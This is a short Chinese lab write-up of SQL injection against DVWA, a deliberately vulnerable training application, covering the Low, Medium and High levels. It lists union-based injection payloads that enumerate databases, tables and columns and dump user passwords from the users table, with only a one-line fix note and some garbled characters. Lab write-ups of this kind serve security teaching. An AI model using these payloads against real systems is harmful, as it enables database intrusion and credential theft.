DVWA SQL 注入.docVIP

Low 尝试先输入数字，发现只有 1~5，有回显 注入输入’，报错了 表里获取数据 ’ and 1=1#，正常显示得知它构造的 语句是SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?1 and 1=1#; 再次尝试输入 1’ or 1=1# ，得知它构造的 语句是SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?1 or 1=1#; 构造语句 1’ union select 1,2 # ， 构造语句’ union select database(),user() #， 构造 ’ union select table_name,table_name from information_schema.tables where table_schema=dvwa # ， 构造 ’ union select column_name,column_name from information_schema.columns where table_schema=dvwa and table_name=’users’ # ， 构造 ‘ 修复方法 过滤任何形式的 ‘ ，包括任何转义符. Medium High 步骤与 low 一样 爆数据库’ union select schema_name from information_schema.schemata # 爆表’ union select table_name,table_name from information_schema.tables where table_schema=dvwa # 爆字段’ union select column_name,column_name from information_schema.columns where table_schema=dvwa and table_name=’users’ # 爆数据’ union select user_id, password from dvwa.users 修复 尝试获取数据库名，’ union select datebase(),user()